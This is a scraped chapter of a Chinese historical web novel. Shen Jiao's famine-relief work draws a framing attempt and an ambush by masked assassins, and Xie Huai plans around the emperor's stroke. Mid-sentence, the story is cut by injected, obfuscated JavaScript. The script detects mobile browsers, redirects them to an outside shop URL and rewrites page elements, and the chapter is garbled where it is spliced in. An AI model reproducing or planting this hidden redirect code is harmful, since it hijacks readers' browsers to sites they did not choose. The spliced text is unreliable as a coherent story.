谢淮面色有一瞬间的惊愕。呷了一口茶后,恢复如常,“这般的话,那韩丞这段时间的所作所为就能说得通了。但令人不解的是,户部拿不出银子赈灾,你在城外给灾民分发粮食,为他解了燃眉之急,即便他认出是你那日拿走的账本,也不至于在此时借端生事。”
沈皎道:“那又是为了什么?”
“目前还不得而知,但此事绝不简单。只能先审问那个扮成灾民的男子,不过希望不大,恐怕也问不出什么。”
“世子之后要是有关于此案的进展,到时还烦请派人前来告知我一声。”沈皎起身话别。
“嗯。”
两人出了茶肆,沈皎转身朝着城外走去。这时,正在街头巡逻的黎章将刚抓住的盗贼让身旁禁卫押下,一抬头看见站在茶肆前的谢淮,走上前去,唤道:“世子。”
黎章还欲张口说些什么,却被谢淮出声打断。
“这里人多眼杂,回府再说。”
黎章扭头唤来一名禁卫接替了自己的差事,与谢淮一道回到国公府。两人踏入书房,下人奉上茶后,行礼退下。
“世子,今日的事,恐怕没有这么简单。”黎章道。
“先不谈此事,陛下中风了,我们得提前做打算了。”
黎章闻言猛地抬起头,神色震惊,“这消息世子是从何处听来的?”
“杜威识得给陛下诊病的太医,从太医那里听来的。”
黎章没想到此事竟被瞒得严严实实,一点消息都没走漏出来,“那接下来我们该怎么办?”
先前谢淮班师回朝,景惠帝听信韩丞的谗言,以整顿军纪为名褫夺了谢淮兵权,并对军伍进行了清洗和重组。新编的四万禁卫中,一万五千人由谢家旧部和合州军组成,其余多为韩丞的亲信和从其他州县抽调来的地方军。如今韩丞手握重兵控制皇宫,想要动他,绝非易事。
谢淮垂首,晃了晃手中的茶杯,静默半晌,“你先派人将此事告诉给国公,让国公早做准备莫要冲动行事,再派些人保护好国公的安全。”
“属下知道了。”
黎章起身,谢淮又补充道:“宋鸿在狱中,你若得闲便去看看他。”
“是。”
黎章稍一思忖,便知是怎么回事。面色复杂地应了一声,转身离开。
沈皎回去时,芦席棚已搭好了数座。一下午,自那个寻衅滋事的男子被带走后,也没人敢再来闹事。
翠蕊端着一碗热粥,递给沈皎。
“这人看着好可怜,腿好像都被打断了。”
沈皎遽然听到人群后面传来一阵骚乱,立刻端着粥在翠蕊的陪同下走了过去。
她走上前,瞧见一个衣衫褴褛的男子,狼狈地仰躺在地上,气息奄奄,裸露出来的半张脸上青青紫紫满是伤痕,嘴唇干裂出血,似是快要饿死了。
男子费力抬起那张被打的面目全非的脸,朝沈皎伸出手,虚弱道:“救救我。”
沈皎急忙唤来暗卫扶起地上的男子,让人给他喂了一些热水。男子狼吞虎咽喝完水,恢复了一些气力,沙哑着声音,“多谢姑娘。”
沈皎见男子身上被雪浸湿的衣服面料,不似普通人家能用得起的,问道:“公子怎的变得这般狼狈?”
“突厥随时可能来袭,姑臧县岌岌可危。我带着积蓄逃来京中避难。出城时,林将军本来派人给我们每人都分发了粮食。不料,快到京城时遇上了山匪,粮食和银钱被抢,腿也被打伤了。我只能拖着伤腿,一路爬到了京城。”男子说着说着不禁悲从中来,红了眼眶。
“公子没有路引,也进不了城,就留在这儿吧。”沈皎俯身将手中的粥递给男子。
男子泣声道谢:“多谢姑娘。”
沈皎让暗卫将男子扶起带去登记身份,翠蕊又端了一碗粥过来,她喝完粥,想着男子方才的话,郁郁不乐。
翠蕊安慰着沈皎,“姑娘,莫要太过忧心,事情还没有那么糟,只要我们能带着粮草和援军回去,凉州就还有救,将军和夫人也不会有事。”
沈皎敛容,深吸一口气。她何尝不知唯有此法才能解凉州之危。可一想到突厥每攻下一座城便会虐杀主将甚至屠城,就有些心神不宁,不免担心。
丫丫看到沈皎闷闷不悦,小心翼翼地捧着一只泥塑小兔子小跑过来,乐呵呵地道:“沈姐姐,福爷爷早上给我买了只泥塑小兔子,你看。”
沈皎知丫丫是故意来逗她开心,扯起嘴角,笑着伸手戳了戳丫丫圆鼓鼓的脸颊,“真可爱,和丫丫一样可爱。”
今日的粮食发放完毕,翠蕊留下协助福管家处理剩余的杂事。沈皎带着叶愫和丫丫,在暗卫的护送下坐上马车,往国公府而去。
这时,四周冷不防冲出一批蒙着面的黑衣人,执刀朝着马车袭来。
车夫匆忙勒住缰绳,停下马车,看着冲过来的黑衣人,身体抖得如同筛糠。
“杀了马车里面那个女的,绝不能让她回去。”为首的黑衣人对身后的黑衣人下令。
“是。”
暗卫迅速散开,将马车牢牢护在中间,握紧手中的武器,“黎统领就在附近,快去请他过来支援。”
“是。”一个暗卫忙转身跑开。
“沈姐姐,我怕。”
沈皎听着车外的激斗声,低头把吓得身子抖个不停的丫丫和脸色惨白的叶愫抱在怀里,颤抖着声音安慰道:“别怕,会没事的,要是怕的话就捂住耳朵。”
丫丫倚在沈皎怀里,紧紧抓住叶愫的手。
街上的百姓见状尖叫着杀人了,四散奔逃。黑衣人有备而来,攻势凶猛。暗卫既要护着车里的沈皎,又需抵挡黑衣人的猛攻,束手束脚,渐渐落了下风。
“保护姑娘,绝不能让他们靠近马车。”
“是。”
空气中充满了尸体散发出来的血腥味。一个黑衣人倒下,立刻就有另一个人补上先前的位置,并再次汹汹冲来。暗卫虽也伤亡数人,却始终紧紧护住马车,不让黑衣人有机会近前一步。
黎章带着禁卫匆匆赶来,对身后的禁卫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148186|191692||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“拿下他们,尽量抓活的。”
“是。”
局势瞬间扭转了过来,黑衣人最终被尽数擒获后服毒自尽。
“发现活口了没有。”黎章道。
禁卫回禀:“没发现一个活口,来的都是死士。”
打斗声持续了一会儿,停了下来。沈皎见安全了,放开两人,弯腰掀起车帘,看着站在禁卫身旁的黎章,“多谢大人今日救命之恩。”
“姑娘客气了。前方路上不知是否还有杀手设伏,我派人护送姑娘回去。”
黎章从暗卫口中得知沈皎与谢淮关系不一般,且谢淮对她极为看重,自然不敢再让她涉险。
“那便有劳大人了。”
沈皎放下车帘,坐回车中,有了禁卫随行保护,一路上没再遇到什么危险。
大理寺丞走进屋中,把手中的口供递给谢淮:“大人,那人是个软骨头,还没用刑就吓得尿了裤子,什么都招了。他说有个黑衣人在乞丐窝里找到他们,给了他们一包毒药和每人一份钱,让他们伪装成灾民去陷害那位姑娘。那乞丐贪心,想独吞两份钱,便在下毒时故意加大了剂量,害死了同伙。”
谢淮看着供词。
衙差来报:“大人外面有人找你,说是有急事让您赶紧回府,说府中出事了。”
谢淮太阳穴怦怦直跳,随手放下供词,出了大理寺。
福管家派的马车停在门口,小厮看到谢淮出来,急迎上前,“奴才拜见世子。”
“发生什么事了?”
“今日下午沈姑娘回府的时候,在街上遇袭了,不过人没什么大事,福管家来让奴才请您赶紧回去。”
谢淮意乱心慌,险些失了理智,听到小厮说沈皎没受伤,冷静下来,上了马车。
翠蕊回到府中,听说沈皎遇袭的事情,胆颤心惊,“姑娘,你没事吧。”
“没事,倒是吓到丫丫和叶姑娘了,丫丫回来哭了好一阵儿,福管家让人给买了两个糖人才哄好。”
“没事便好。那些杀手和先前追杀我们的杀手是同一拨人吗?”
沈皎刚想要说不知道,又想起那杀手在街上喊的那句杀了那个女人,不能让她活着回去,又疑惑了。车上就坐了她们三人,先前谢淮说韩丞不至于在此时生事,第一日也的确没让人来阻碍她们施粥。但第二日先是让人诬陷她们的粥里有毒,后又派人不顾一切来追杀,就有些让人匪夷所思了。他们既确定那个女人就在马车上,必是在城外看到她上了马车。
叶愫和丫丫才来京城,日日都和她在城外施粥,身体不便,平日也不去城中,也不可能得罪什么人。沈皎道:“应该是这样,而且很有可能是发现了我们的身份。”
“那我们眼下怎么办?”翠蕊焦急地道。
相对于翠蕊的慌张失措,沈皎则显得十分冷静。若是先前,的确棘手,但今时不同往日。有了国公府的庇护,韩丞要想动手,便不是那么容易了。她沉吟片刻,“明日施粥,先让府中的下人去,我们暂且待在府里。”